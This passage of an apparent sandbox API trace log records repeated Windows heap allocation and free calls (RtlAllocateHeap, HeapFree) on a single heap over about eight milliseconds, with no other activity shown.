0x3178dd8 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.985] RtlAllocateHeap (HeapHandle=0x5d0000, 